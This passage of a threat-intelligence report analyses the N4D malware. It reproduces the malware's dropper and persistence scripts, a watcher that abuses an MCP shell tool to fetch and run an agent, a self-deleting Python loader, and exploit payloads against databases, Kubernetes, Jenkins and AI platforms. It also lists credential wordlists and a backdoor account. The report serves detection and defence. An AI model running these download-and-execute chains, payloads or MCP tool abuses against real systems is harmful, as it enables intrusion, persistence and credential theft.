Secrets ManagerSecret names and descriptionsKeys, tokens, passwords
SSM Parameter StoreParameter names, managed instance listRemote execution
RDSDatabase endpoints and engine typesReconnaissance
LambdaFunction names and runtimesReconnaissance

12. Dropper & Confirmed Compromise

The dropper infrastructure consists of three interrelated shell scripts. beacon.sh is the primary implant delivery mechanism deployed on newly compromised hosts. It downloads the Go agent binary, establishes two persistence mechanisms, and loops indefinitely. Separate scripts target specific victim categories: qq_watcher.sh monitors and auto-exploits QQ Message Bot MCP services. mesh_minimal.py serves as a Python-to-Go bridge for environments where direct Go binary execution is constrained.

beacon.sh - 8-Method Download Chain

The dropper attempts to download the Go agent from three URLs using eight successive download methods, in order from most preferred to least. Only on total failure does it exit. A size check (> 3MB) validates that a real binary was received, not a redirect page or error response:

#!/bin/bash
# Primary URLs (in priority order)
H="https://cdnorigin.net"          # TLS front on :443 (cdnorigin.net cert)
D="http://[REDACTED]:8443"          # Direct C2 on :8443 (fallback)
P="/api/agent/binary?arch=$B"       # $B = uname -m output

# Method 1 (preferred): curl with TLS
curl -fsSL -o "$TF" "$H$P"

# Method 2: curl --insecure (skip cert validation)
curl -fsSLk -o "$TF" "$H$P"

# Method 3-4: wget variants
wget -qO "$TF" "$H$P"
wget -qO "$TF" --no-check-certificate "$H$P"

# Method 5-6: Python fallbacks (py3/py2)
python3 -c "import urllib.request; urllib.request.urlretrieve('$H$P','$TF')"
python2 -c "import urllib; urllib.urlretrieve('$H$P','$TF')"

# Method 7: Perl
perl -e "use LWP::Simple; getstore('$H$P','$TF')"

# Method 8 (last resort): BusyBox wget (embedded Linux / IoT)
busybox wget -O "$TF" "$D$P"

# Size validation - reject anything smaller than 3 MB
if [ $(stat -c%s "$TF") -gt 3000000 ]; then
  chmod +x "$TF" && "$TF" &
fi

The cdnorigin.net HTTPS URL is always tried first. This ensures that in environments performing SSL inspection, the server name (rather than a raw IP) is what appears in inspection logs. Only if HTTPS fails completely does the dropper fall back to the plain-HTTP direct C2 connection.

Dual Persistence Mechanism

After first successful execution, beacon.sh installs two independent persistence mechanisms to survive reboots and user session restarts:

# Persistence 1: System cron (requires root)
# Hidden dot-prefixed filename in /etc/cron.d/ avoids cursory inspection
echo "*/2 * * * * root $CMD" > /etc/cron.d/.sys-health
# Runs every 2 minutes as root; re-downloads and re-executes the agent

# Persistence 2: Root .bashrc append
# Triggers on every interactive root login
echo "$CMD &" >> /root/.bashrc

The 2-minute cron interval means an agent killed by a defender is re-launched within 120 seconds from the same machine. Effective remediation requires both removing /etc/cron.d/.sys-health AND cleaning the root .bashrc entry, in addition to terminating the running agent process.

qq_watcher.sh - Confirmed RCE on QQ Bot MCP Server

A separate dropper script targets QQ Message Bot MCP services - instances where the QQ instant messaging platform's bot API is exposed via an MCP server. The script polls an MCP endpoint every 5 minutes, initiates a session, then calls execute_shell_command to download and execute the Go agent:

#!/bin/bash
# Target: QQ Message Bot MCP service (MCP "QQ Message Bot MCP服务")
TARGET_URL="http://[REDACTED]:5000/mcp"

while true; do
  # Step 1: MCP initialize - extract mcp-session-id from response headers
  SESSION=$(curl -s -D - -X POST "$TARGET_URL" \
    -d '{"jsonrpc":"2.0","method":"initialize","id":1,...}' \
    | grep -i "mcp-session-id" | awk '{print $2}')

  # Step 2: tools/call execute_shell_command with agent download one-liner
  curl -s -X POST "$TARGET_URL" \
    -H "mcp-session-id: $SESSION" \
    -d '{"jsonrpc":"2.0","method":"tools/call","id":2,
         "params":{"name":"execute_shell_command",
         "arguments":{"command":"curl -fsSLk https://cdnorigin.net/api/agent/binary?arch=amd64 -o /tmp/.agent && chmod +x /tmp/.agent && /tmp/.agent &"}}}'

  sleep 300   # poll every 5 minutes
done

Confirmed RCE event. The watcher script's output logs contain a successful execution timestamp: the agent binary was downloaded, made executable, and launched on the QQ bot host at approximately 22:19 UTC on 2026-06-20. The target delivered an agent to a production QQ messaging infrastructure server.

mesh_minimal.py - Python-to-Go Bridge

In environments where the Go binary cannot be directly invoked (restrictive execution policies, architecture mismatches, or constrained shells), a Python wrapper handles the transition. mesh_minimal.py (identified as v9.3-go-bridge) downloads the architecture-appropriate Go agent, launches it as a subprocess, then self-terminates to leave no Python process in the process list:

# mesh_minimal.py v9.3-go-bridge (simplified)
import subprocess, tempfile, os, requests

arch = subprocess.check_output(["uname", "-m"]).strip().decode()
agent_url = f"https://cdnorigin.net/api/agent/binary?arch={arch}"

data = requests.get(agent_url, verify=False).content
tf = tempfile.mktemp(prefix="kworker")
with open(tf, "wb") as f: f.write(data)
os.chmod(tf, 0o755)
subprocess.Popen([tf], close_fds=True)
os.remove(__file__)  # self-delete after launching Go agent

The temp file prefix kworker matches the agent's own process masquerade string (covered in Section 10), maintaining the kernel worker thread illusion even during the handoff from Python to Go.

Beacon Endpoint - v4.0

# controller_v4.py - lines 690-704
@app.get("/api/beacon")
async def beacon(req: Request):
    """Phone-home endpoint - called by the beacon script at the START of execution.
    Logs the target's IP, arch, and hostname so we can verify command execution."""
    ip = req.client.host if req.client else "?"
    arch = req.query_params.get("arch", "?")
    hostname = req.query_params.get("h", "?")
    port = req.query_params.get("p", "0")
    ts = time.time()
    print(
        f"[BEACON] ip={ip} arch={arch} host={hostname} port={port} ts={ts:.0f}",
        flush=True
    )
    with db() as c:
        cur = c.cursor()
        cur.execute(
            "INSERT INTO deploys "
            "(target_ip, target_port, target_server, deployed_by, status, created_at) "
            "VALUES (%s,%s,%s,%s,%s,%s)",
            (ip, int(port), "", "beacon", "beacon", ts)
        )
    return {"ok": True}

The beacon logs: target IP (from the connecting socket), CPU architecture (from uname -m in the shell script), hostname, and source port. This gives the operator everything needed to confirm real code execution and prioritize which hosts to follow up on manually. The endpoint is listed in OPEN_ENDPOINTS -- it requires no authentication, by design, since the beacon runs before any HMAC key is present on the victim.

The beacon URL pattern is: GET /api/beacon?arch=<arch>&h=<hostname>&p=<port>. This pattern appears in network logs as a reliable detection signal for a host actively being compromised.

13. Go Agent Binary — Full Capability Analysis

Static analysis of the debug build (n4d_debug, 7.3 MB, Jun 26 2026) exposes 170+ named Go functions in the main package. Combined with the Python polymorphic builder (build_agent.py), the picture that emerges is a two-tier agent design: a lightweight Python dropper that fetches and executes an obfuscated mesh agent, and a self-contained Go binary that contains the full exploit arsenal.

N4D Go agent binary capability map

Fig. 10 - N4D Go agent capability map: 170+ named functions organized into six attack categories — AI infrastructure, databases, web/app servers, cloud/infra, persistence, and stealth.

Binary Architecture

  • Language: Go (goroutine-based concurrency, single statically linked binary)
  • Architectures: amd64, arm64, arm, 386 — four simultaneous target platforms
  • Variants: debug build (symbols intact, ~7.3 MB) and stripped release (~7.0 MB)
  • Build sprint: 60+ numbered versions (v152–v176+) compiled on Jun 26 alone
  • Lock file: /dev/shm/.agent.lock and PID in /dev/shm/.agent.pid — prevents double-execution

Service Probe + Deploy Arsenal (30+ Modules)

Each target service has a paired probe* / deploy* function. The probe verifies the service is real and not a honeypot; the deploy function executes the appropriate exploit chain and reports back via POST /api/chains/result/.

ModuleFunction pairExploit technique
ElasticsearchesDeployGroovy script injection via _search; Log4Shell via index doc; Watcher cron persistence via /_watcher/watch/
RedisdeployRedisAccess / deployRedisCronUnauthenticated CONFIG SET to write cron jobs; cron drops next-stage agent
PostgreSQLpgDeploy / pgTryPLUDF / pgDblinkPivotCOPY TO PROGRAM RCE; PL/Perl UDF code exec; dblink lateral pivot to adjacent hosts
MySQLmysqlDeploy / mysqlTryExploitSELECT INTO OUTFILE cron injection; sys_eval() UDF if available
MongoDBmongoDeploy / mongoWireExploitWire-protocol exploit; $where JS eval on older versions; unauthenticated port 27017
Docker APIdeployDockerAPI / tryDockerSockEscapeUnauthenticated :2375 container creation; /var/run/docker.sock escape to host
Kubernetesk8sDeploy / etcdK8sPodWithTokenService account token abuse; etcd→K8s pod injection; kubectl execution; daemonset creation
JenkinsdeployJenkins / jenkinsScriptConsoleScript console Groovy RCE; /opt/jenkins/secrets/initialAdminPassword read; CLI remoting
NacosdeployNacos / probeNacosUnauthenticated config API (/nacos/v1/cs/configs); auth bypass user listing; re-access via backdoor account (POST /nacos/v1/auth/login, form-body: username=n4d_admin&password=n4d_admin123)
Spring GatewaydeploySpringGatewayActuator /actuator/gateway/routes/ SSRF/RCE (CVE-2022-22947)
WebLogicdeployWebLogicJNDI injection via handle parameter; ${T(java.lang.Runtime)} SpEL
ConsulconsulDeployUnauthenticated script health-check registration → RCE
XXL-JobdeployXXLJobGlue source code execution via executor API
AirflowdeployAirflowUnauthenticated API DAG trigger; forged Flask session cookie
SupersetdeploySuperset / buildSupersetPickleDefault secret key Flask cookie forgery; Python pickle deserialization RCE
SplunkdeploySplunkCustom search command injection; cron persistence via /etc/cron.d/splunk_health
MinIOdeployMinIODefault credentials access; object storage enumeration
RabbitMQrabbitmqDeployDefault guest:guest credentials; shovel plugin RCE via management API
ActiveMQactivemqDeployRemote code deployment via ActiveMQ XML configuration endpoint
Rclone RCDdeployRcloneRCDUnauthenticated Rclone remote control daemon; arbitrary file read/write via /rc/listhttp
Nginx UIdeployNginxUI / deployNginxUIChainPTY access via /api/pty WebSocket; path traversal to /etc/chromium.d/sys_alias
etcddeployEtcdUnauthenticated etcd v2/v3 key read; K8s secret extraction from /registry/secrets/
MCP (3 types)deployMCPFileRead / deployMCPShell / deployMCPSQLFile read, shell execution, SQL execution via MCP tool calls (see Section 03)
AKS MCPexploitAKSMCPAzure Kubernetes Service MCP server exploitation — cloud + AI tooling combined attack

AI Infrastructure — Primary Target Category

The most striking aspect of the binary analysis is the density of AI infrastructure targets. The agent treats AI compute platforms as first-class targets, not incidental ones. Each has a dedicated probe + deploy function pair:

AI PlatformFunctionsWhy targeted
LightLLMprobeLightLLM / deployLightLLMLocal LLM inference proxy — API key exposure, model access, GPU pivoting
Ray DashboardprobeRayDashboard / deployRayDashboardML compute cluster — unauthenticated port 8265 gives job submission and RCE via /api/jobs/
Jupyter (Notebook)deployJupyter / jupyterKernelExecUnauthenticated kernel execution via WebSocket; full Python environment on target
Jupyter GatewaydeployJupyterGateway / probeJupyterGatewayMulti-user gateway — SSRF/RCE via kernel namespace injection
MarimoprobeMarimo / deployMarimoPython reactive notebook — RCE via unauthenticated WebSocket API
FastGPT Code ServerprobeFastGPT / deployFastGPTCodeServerCode execution environment bundled with FastGPT — direct shell access
Grafana RendererprobeGrafanaRenderer / deployGrafanaRendererHeadless Chrome renderer — SSRF to internal services
MCP Servers (shell)deployMCPShell / mcpCredHarvestAI tool-calling servers with execute_command — direct OS access (see Section 03)

The agent does not opportunistically probe AI platforms. It has dedicated, purpose-built exploit modules for 8 distinct AI infrastructure types, with a separate credential harvesting function (mcpCredHarvest) specifically for MCP servers. LightLLM and Ray Dashboard are primary targets because they expose GPU compute and model API access — direct monetizable assets.

Credential Harvesting

The main.harvestCreds function has 4 independent sub-routines and is the primary intelligence collection entry point. main.mcpCredHarvest handles MCP-specific credential extraction. Per-service intel functions include pgGatherIntel, mysqlGatherIntel, mongoGatherIntel, and mongoGatherIntelNoAuth.

Additional collection paths: decryptBackupAndExtractSecret (attempts to decrypt encrypted backup archives), extractNodeSecretFromIni (reads INI-format config files for secrets), tryDecryptZipEntries (targets password-protected ZIP archives), and jenkinsReadFile (reads arbitrary files via Jenkins workspace API).

Persistence — Five Independent Mechanisms

FunctionPath / MethodSurvives
installPersistence (cron)/etc/cron.d/.sys-health, /etc/cron.d/.syscheckReboot, login shell restart
installBashrc/root/.bashrc appendEvery interactive shell spawn
installSystemdSystemd unit (service name obscured)Reboot, service restart
installSSHKey~/.ssh/authorized_keysOperator direct access — independent of agent
installWatchdogWatchdog process monitors agent; restarts on deathProcess kill, timeout

A sixth path was found in the binary: /etc/profile.d/sys_alias.sh, written by the Nginx UI and Grafana deploy modules as a login-trigger payload.

Stealth & Anti-Forensics

  • initHardening — initializes anti-debug and anti-ptrace checks at startup
  • setProcName — renames the process in /proc/self/cmdline to masquerade as a legitimate system process
  • stealthHeaders / stealthUA — randomizes HTTP headers and User-Agent per request
  • stealthDelayBeforeProbe — inserts randomized delay before service probing to avoid pattern detection
  • stealthRST — sends TCP RST after probing to prevent connection log entries
  • cleanupTraces — deletes logs, temp files, and execution artifacts post-operation
  • cleanOldBinaries — removes previous agent binary versions from disk

Network Propagation: CIDR and Lateral Scanning

Two dedicated scanning goroutine clusters drive autonomous network propagation. main.scanCIDR accepts CIDR blocks from the controller's task queue and fans out parallel probes across the entire range (confirmed: 5 concurrent goroutine functions in the debug build). main.scanLateral operates on locally derived target sets — it reads ARP tables, /etc/hosts, and SSH known_hosts entries from the current host and probes adjacent addresses on the same subnet without waiting for a C2 assignment. The combination means a newly compromised host begins lateral scanning autonomously within seconds, independent of whether the controller issues a task.

Honeypot Detection Engine

The agent has a score-based honeypot detection system with five dedicated functions: hpScoreIP, hpAddScore, hpBlacklistCheck, hpIsBlacklisted, hpCheckMultiService, and hpVerifyDeploy. Targets scoring above a threshold are blacklisted and skipped. The Elasticsearch probe checks for the string es-no-real-data-possible-honeypot as a honeypot signal. Result type strings es_hp_suspect, docker_hp_suspect, and consul_hp_suspect are reported back to the C2 to update the global blacklist.

Cloudflare Quick Tunnel Mesh

The string .trycloudflare.com and the function main.startMeshTunnel confirm that agents can establish outbound Cloudflare Quick Tunnels — anonymous, certificate-signed HTTPS tunnels at randomly-assigned *.trycloudflare.com subdomains. This provides a C2 relay path that requires no domain registration, no static IP, and generates TLS traffic indistinguishable from legitimate Cloudflare traffic. The main.startRelay function likely uses this channel to allow operators to reach agents behind NAT or firewall with no inbound port requirements.

Interactive PTY / WebSocket Shell

The binary contains a full WebSocket implementation (wsDial, wsSendText, makeWSFrame, makeWSBinaryFrame) and connects to the C2 endpoint /api/pty. This gives operators an interactive pseudo-terminal session through the C2 web interface. The nginx_ui_pty result type and the Nginx UI exploit chain (deployNginxUIChain) also grant PTY access on the target side through the same WebSocket mechanism.

Embedded Credential Wordlist — Full Extraction

String extraction from the binary reveals two distinct credential sets: a generic brute-force password wordlist used across all services, and service-specific default credentials hardcoded per exploit module.

Generic Password Wordlist

PasswordLikely Targets
passwordPostgreSQL, MySQL, RabbitMQ, Redis, generic
admin123MySQL, Nacos, XXL-Job, web panels
P@ssw0rdMySQL, MSSQL, PostgreSQL
changemeJenkins, Grafana, generic defaults
Qwer1234Generic enterprise, web panels
minio123MinIO object storage
mysql123MySQL root / app users
tutorialSuperset, Airflow demo instances
root123FastGPT, generic root users
123456Grafana Renderer default, generic
postgres2024PostgreSQL (year-stamped, updated annually)
postgres2025PostgreSQL (year-stamped, updated annually)
Postgres@123PostgreSQL
postgrespassPostgreSQL

Service-Specific Hardcoded Credentials

ServiceCredential / SecretAttack vector
Nacos (backdoor re-access)n4d_admin : n4d_admin123Posted via main.deployNacos to POST /nacos/v1/auth/login (form-urlencoded: username=n4d_admin&password=n4d_admin123); operators create this backdoor account on initially compromised Nacos nodes then use the credential to re-authenticate and deploy the agent on return visits — confirmed by RIP-relative LEA disassembly tracing the string to main.deployNacos in the debug build
Grafana RendereruserName=admin&password=123456Login endpoint (/login); also harvests grafana_renderer_default_token
Kubernetesbootstrap-token.abcdef0123456789K8s bootstrap token for API server auth during cluster enumeration
Spring Gatewayabcdef.0123456789abcdefService account token injected in actuator bypass routes
Supersetsuperset_default_keyFlask SECRET_KEY — forges admin session cookies via itsdangerous
RabbitMQrabbitmq_default_credsManagement API (/api/overview) with default guest:guest
MinIOminio_default_creds + MINIO_ROOT_PASSWORD env harvestBootstrap verify endpoint + env var scrape from container metadata
XXL-Jobxxl_job_default_credsLogin endpoint (/xxl-job-admin/login), then job injection RCE
FastGPTroot123Code-server backend (/api/jobs/fastgpt_codeserver_rce)

The year-stamped PostgreSQL passwords (postgres2024, postgres2025) confirm the wordlist is actively maintained. A postgres2026 entry should be expected in future builds.

Exploit URL Templates — Full Extraction

Each exploit module uses a hardcoded URL template with %s:%d (host:port) substitution. The following templates were extracted verbatim from the binary and grouped by targeted service.

Elasticsearch / OpenSearch

URL TemplateTechnique
http://%s:%d/_search?q=${jndi:ldap://%s/a}Log4Shell via ES search parameter
http://%s:%d/${jndi:ldap://%s/a}/_docLog4Shell via document index path
http://%s:%d/_scripts/groovyGroovy dynamic script RCE (ES 1.x)
http://%s:%d/_search/templateSearch template injection
http://%s:%d/_watcher/watch/sys-check/_executeES Watcher — schedule curl/sh payload
http://%s:%d/_ingest/pipeline/sys-healthIngest pipeline script processor RCE
http://%s:%d/_sqlES SQL endpoint — info gathering
http://%s:%d/_snapshot/sysbackupSnapshot restore → file write path
http://%s:%d/_cat/indices?v&h=index,docs.count,store.sizeIndex enumeration
http://%s:%d/_bulkBulk index injection
http://%s:%d/_cluster/settingsCluster config enumeration

PostgreSQL

SQL / URLTechnique
COPY (SELECT 1) TO PROGRAM '%s'COPY TO PROGRAM — direct OS command execution as postgres user
SELECT lo_import('/usr/bin/curl', 99998)Large object import — smuggle curl binary via SQL
SELECT lo_export(lo_from_bytea(0, E'\x%s'), '/tmp/.n4d_pg.sh')Large object export — write payload script from hex bytes
COPY (SELECT '%s') TO '/etc/cron.d/.syscheck'Cron injection via COPY superuser privilege
CREATE OR REPLACE FUNCTION _sys_chk() RETURNS void AS $$ ... $$ LANGUAGE plperlPL/Perl UDF — exec arbitrary OS commands
SELECT dblink_connect('%s'); SELECT * FROM dblink_connect()dblink lateral pivot to other PostgreSQL instances
SELECT usename, passwd FROM pg_shadowPassword hash dump
SELECT name, setting FROM pg_settings WHERE name IN ('data_directory','hba_file',...)Config path enumeration for follow-on file-write attacks

MySQL / MariaDB

SQLTechnique
SELECT '%s' INTO OUTFILE '/etc/cron.d/.syscheck'FILE privilege → direct cron write
SELECT '%s' INTO OUTFILE '/var/lib/mysql-files/.deploy.sh'FILE privilege → secure_file_priv bypass via allowed dir
SELECT '%s' INTO DUMPFILE '/var/lib/mysql-files/.deploy.sh'DUMPFILE variant (binary-safe)
CREATE EVENT IF NOT EXISTS _sys_check ON SCHEDULE EVERY 1 MINUTE DO SELECT sys_exec('%s')Event scheduler + sys_exec UDF for persistent execution
CREATE TRIGGER sys_trig BEFORE INSERT ON sys_tmp FOR EACH ROW BEGIN SET @cmd=sys_exec('%s'); ENDTrigger-based RCE via sys_exec UDF
EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE; EXEC xp_cmdshell '%s'MSSQL xp_cmdshell enable + execute
SELECT user, host, authentication_string FROM mysql.userMySQL 8.x hash dump
SELECT table_schema,table_name FROM information_schema.tablesSchema enumeration before credential/data harvest

MongoDB

URL / CommandTechnique
http://%s:28017/admin/$cmd/?filter_eval=%sMongoDB REST API eval — arbitrary JS execution (MongoDB <3.6)
http://%s:28017/file_write_shellREST API file write path
function(){ try { os.system('%s'); } catch(e) { ... } return 1; }JS payload injected via filter_eval
db.adminCommand({serverStatus:1})Honeypot detection probe — legitimate servers respond, honeypots often don't
system.users / collections_system_usersCredential collection targets via listCollections

Redis

CommandTechnique
CONFIG SET dir /var/spool/cron/crontabsRedis cron injection — write cron tab via Redis persistence
CONFIG SET dbfilename rootSet dump filename to "root" in /var/spool/cron/
SET x %s / BGSAVEWrite payload content then trigger background save
FLUSHALLClear keyspace before writing payload to avoid noise
os.execute('chmod +x /tmp/.n4d_redis.sh && /tmp/.n4d_redis.sh &') return 1 end return 0Lua script payload executed via EVAL command
*2·$3·GET / *2·$3·DELRaw RESP protocol frames — bypasses client library detection
redis-accepts-any-passwordInternal flag marking unauthenticated Redis instances for auto-exploit

Kubernetes / etcd / Cloud

URL TemplateTechnique
https://%s:%d/api/v1/pods?fieldSelector=status.phase=RunningList running pods — target selection
https://%s:%d/exec/%s/%s/%s?command=sh&command=-c&command=%s&output=1Pod exec — arbitrary command in running container
http://%s:%d/v2/keys/registry/secrets?recursive=trueetcd v2 — dump all Kubernetes secrets (API tokens, TLS certs)
http://%s:%d/v2/keys/registry/pods/default/sys-health-checketcd v2 — inject privileged pod definition
http://%s:%d/v3/kv/put / /v3/kv/rangeetcd v3 gRPC-gateway — read/write all cluster state
http://%s:%d/containers/create?name=sys-health-monitorDocker API — create privileged container
http://%s:%d/containers/%s/execDocker API — exec in existing container
nicolaka/netshoot:latestNetwork diagnostic container deployed for internal subnet scanning

Web / App Servers

URL TemplateService / Technique
http://%s:%d/scriptTextJenkins Script Console — Groovy RCE
http://%s:%d/cliJenkins CLI endpoint
http://%s:%d/console/console.portal?_nfpb=true&...java.lang.RuntimeWebLogic Admin Console JNDI/RMI injection
http://%s:%d/actuator/gateway/routes/sys_health_checkSpring Cloud Gateway actuator route injection → SPEL RCE
http://%s:%d/actuator/jolokia / /actuator/env / /actuator/refreshSpring Boot actuator chain — env leak + SPEL injection
http://%s:%d/nacos/v1/cs/configs?dataId=&group=&pageNo=1&pageSize=10Nacos unauthenticated config dump
http://%s:%d/nacos/v1/auth/users?pageNo=1&pageSize=10Nacos unauthenticated user enumeration
http://%s:%d/xxl-job-admin/login → /xxl-job-admin/jobinfo/addXXL-Job default creds login + Groovy job injection
http://%s:%d/api/experimental/dags/%s/dag_runsApache Airflow unauthenticated DAG trigger (v1 API)
http://%s:%d/api/v1/dags/%s/dagRunsApache Airflow v2 API DAG run injection
http://%s:%d/en-US/splunkd/__raw/v1/postgres/recovery/restoreSplunk PostgreSQL restore — arbitrary file write as splunk user
http://%s:%d/api/parameters/rabbitmq_exec/%%2F/sys-checkRabbitMQ management API exec plugin — command execution
http://%s:%d/api/parameters/shovel/%%2F/sys-checkRabbitMQ Shovel plugin — message forwarding abuse for RCE
http://%s:%d/v1/agent/service/registerConsul unauthenticated service registration — health check RCE
http://%s:%d/rc/command / /rc/list / /fs/execRclone RC API — arbitrary filesystem operations
http://localhost/","filePath":"../../etc/chromium.d/sys_alias"}Nginx UI path traversal — write to arbitrary config path
http://%s:%d/minio/bootstrap/v1/verify → /login/MinIO bootstrap verify + credential bruteforce
http://%s:%d/render/csvGrafana Image Renderer SSRF → arbitrary file read
http://%s:%d/api/upload/pluginGrafana unauthenticated plugin upload (older builds)

AI / ML Platforms

URL TemplateService / Technique
http://%s:%d/api/kernels → /api/kernels/%s/channelsJupyter — list kernels then open WebSocket to execute code
http://%s:%d/api/kernelspecsJupyter Gateway — spec enumeration, reveals kernel types
https://%s:%d/run/%s/%s/%sRay Dashboard — job submission with arbitrary bash -c entrypoint
http://%s:%d/api/jobs/fastgpt_codeserver_rceFastGPT code-server backend — no-auth code execution
http://%s:%d/mcpcontextMCP server root — session initiation probe
http://%s:%d/api/v1/database/Superset DB connection API — credential leak via connection test
{"name":"python_kubernetes","env":{"KERNEL_POD_NAME":"test-%s","KERNEL_NAMESPACE":"default"}}Jupyter Enterprise Gateway — spawn kernel pod in default namespace with attack payload

Exploit Payload Templates — Full Extraction

The binary contains 7 distinct payload language families, each adapted to the target execution environment. All ultimately execute the same downloader one-liner.

LanguageContextPayload Pattern
Log4Shell Any Java app, Elasticsearch, Spring ${jndi:ldap://%s/a}
Groovy (Jenkins) Jenkins Script Console, Elasticsearch new ProcessBuilder(new String[]{"sh","-c",params.cmd}).start()
Groovy (Runtime) ES Groovy scripting, Jenkins pipeline Runtime.getRuntime().exec(new String[]{"sh","-c",params.cmd})
Java Reflection WebLogic, Spring Boot actuator Class.forName('java.lang.Runtime').getMethod('exec',...).invoke(..., new String[]{"sh","-c",cmd})
Python SSTI Jupyter Gateway, Superset, FastGPT ${__import__('os').system('curl -s -m 30 %s -o /tmp/.n4d && ...')}
Lua Redis EVAL, Nginx Lua modules os.execute('chmod +x /tmp/.n4d_redis.sh && /tmp/.n4d_redis.sh &') return 1 end return 0
JavaScript MongoDB eval REST API function(){ try { os.system('%s'); } catch(e) {} return 1; }
Groovy DSL Jenkins Groovy script, Spring Actuator def proc = ["sh", "-c", "curl ... /tmp/.n4d ..."].execute()
SQL (MySQL UDF) MySQL with sys_exec UDF loaded CREATE EVENT ... DO SELECT sys_exec('sh /tmp/.n4d_mysql.sh')
Shell multi-method All — 6-fallback downloader chain curl → wget → busybox wget → python3 → python2 → perl (chunked 256KB)

The downloader one-liner is consistent across all payload families:

curl -s -m 30 %s/api/agent/binary?arch=$B -o /tmp/.n4d \
  && chmod +x /tmp/.n4d \
  && setsid /tmp/.n4d </dev/null >/dev/null 2>&1 &

The $B variable resolves to amd64, arm64, arm, or 386 based on uname -m. The agent also beacons arch and hostname to /api/beacon?arch=$B&h=$(hostname) before attempting the download, giving operators real-time visibility into which targets executed the dropper.

13b. AI/ML Attack Surface: CVE-Confirmed Exploits and Novel Techniques

At probable development time, several modules exploited vulnerabilities with no public CVE. Subsequent disclosures have confirmed CVE assignments for three of the four primary novel exploit chains — LightLLM, Marimo, and Nginx UI — all with CVSS ≥ 9.3. This retroactive confirmation indicates the threat actor identified these attack surfaces before or concurrent with independent public disclosure.

The following analysis is derived from string extraction and symbol table forensics on the n4d_debug binary combined with source-level review of the Python toolkit.

Disclosure note: Three of the four novel exploit chains have received CVE assignments: CVE-2026-26220 (LightLLM, CVSS 9.3), CVE-2026-39987 (Marimo, CVSS 9.3), and CVE-2026-27944 + CVE-2026-33032 (Nginx UI, both CVSS 9.8 — two CVEs for the same automated chain). All affected vendors have released patches; administrators should apply them immediately. The prompt injection defense detection capability and N4D's generic MCP client framework are not addressed by any current advisory. Specific payload byte sequences are redacted from this public version of the report.

Timeline showing LightLLM issue #784 (Mar 2025), vLLM CVE-2025-32444 (Apr 2025), CVE-2026-26220 (Feb 15 2026), CVE-2026-27944 (Mar 5 2026), CVE-2026-33032 MCPwn (Mar 15 2026), CVE-2026-39987 (Apr 8 2026), NSA/CISA MCP advisory (Jun 2 2026), and N4D binary compilation (Jun 26 2026)
Figure 13b-1. CVE disclosure timeline vs. N4D binary compilation date. All CVEs confirmed via NVD, VulnCheck, GitHub advisories, and CISA KEV. Binary date from ELF build metadata. The N4D binary postdates all four CVE patches by 23 to 113 days, indicating continued exploitation of already-patched vulnerabilities against unpatched deployments.

1 — prompt injection detection: Targeting AI Systems with Active Defenses

Confidence: HIGH — direct binary evidence.

At file offset 0x3fe96e the binary encodes the literal string prompt injection detection packed consecutively with other known result-type tags:

... invalid object identifier
prompt injection detection
/tmp/.n4d_autodeploy_debug
/root/.ssh/authorized_keys
Basic cG9zdGdyZXNfYWRtaW46...
Jupyter Enterprise Gateway
...

Every other value in this region of .rodata is a result-type tag sent back to the C2 after a successful operation — e.g. nginx_ui_pty, weblogic_rce, lightllm_rce, docker_hp_suspect. The position and format of prompt injection detection is structurally identical to those tags. The interpretation is that when the agent encounters an AI-assistant or LLM API endpoint that has prompt injection defenses active, it classifies and reports the target back to the controller under this label.

The adjacent paths (/tmp/.n4d_autodeploy_debug, /root/.ssh/authorized_keys) suggest the response to detection is escalation: the agent logs the attempt to a debug file and falls through to SSH key persistence — treating the prompt-injected endpoint as a compromised host once a foothold is established.

Significance: This is the first malware sample known to the authors that encodes awareness of prompt injection as a security category — not as an attack technique to exploit humans, but as an active defense mechanism on AI infrastructure that the agent must detect, classify, and route around. The implication is that the threat actor is actively engaging with deployed AI systems (LLM APIs, MCP-backed assistants) as attack targets, and has encountered prompt injection defenses in the wild sufficiently often to warrant a dedicated result type.

The closest known parallel in published research is the "Skynet" malware described by Check Point Research in June 2025, which uses prompt injection as an offensive technique — injecting adversarial instructions into AI-processed content to evade AI-based security scanners. N4D's approach is inverted: it is the defender's prompt injection countermeasures that the agent detects and classifies. These are technically distinct capabilities; no published malware family is known to implement N4D's defensive-detection variant.

2 — MCP Protocol Exploitation Framework

Confidence: HIGH — autonomous botnet use case is novel; server-specific CVEs exist but do not cover N4D's generic approach.

The agent implements a complete, purpose-built MCP (Model Context Protocol) client from scratch. MCP is an Anthropic-developed JSON-RPC protocol for connecting AI assistants to external tools, published in November 2024. NSA and CISA published an MCP security advisory on June 2, 2026, and more than 30 CVEs were filed for specific MCP server implementations between January and February 2026 (including CVE-2025-49596, CVSS 9.4, and CVE-2025-6514, CVSS 9.6). None of those advisories address N4D's approach: an autonomous botnet client that probes any MCP-compliant server, enumerates its tool catalog, and exploits whichever dangerous tools it finds — without prior knowledge of the specific server implementation. This generic exploitation framework has no equivalent in published exploit tooling.

The attack chain reconstructed from binary strings:

  1. Discovery: probeMCP identifies MCP servers via HTTP/WebSocket handshake. The agent sends initialize + tools/list JSON-RPC calls and parses the returned tool catalog.
  2. Classification: parseMCP scores tools by dangerousness. Confirmed targeted tool names extracted from binary: execute_command, read_file, file_write, query_database. Cloud-specific tools detected: call_kubectl, call_az, call_helm, call_cilium, call_hubble.
  3. Exploitation: mcpCallWithInit establishes a session (mcpInitSession) then invokes dangerous tools directly. Result types confirm two primary paths:
    • mcp_execute_shell — shell command execution via MCP tools
    • mcp_execute_query — SQL execution via MCP database tools
  4. Credential harvest: mcpCredHarvest iterates all server responses looking for secrets. Log strings confirm per-tool tracking: %s mcpCredHarvest %s:%d%s tool=%s text_empty=%d and %s mcpCredHarvest %s:%d%s tool=%s skip: nil=%v hasError=%v.

The exploitAKSMCP module extends this framework to Azure Kubernetes Service environments where AKS clusters expose MCP servers as AI tooling frontends. The binary contains the diagnostic string AKS MCP branch for %s:%d confirming a dedicated branch in the exploit logic for this target type. Failure is tracked separately as aks_mcp_fail.

3 — LightLLM Pickle Deserialization (CVE-2026-26220)

Confidence: HIGH — CVE-2026-26220 confirmed, CVSS 9.3; actor likely had pre-disclosure knowledge.

The binary contains the result type string lightllm_pickle packed adjacent to the lightllm_rce success tag and the Apache Superset label. This naming pattern mirrors the Superset exploitation chain (buildSupersetPickle), which is a confirmed Python pickle deserialization RCE via forged session cookies (CVE-2023-27524).

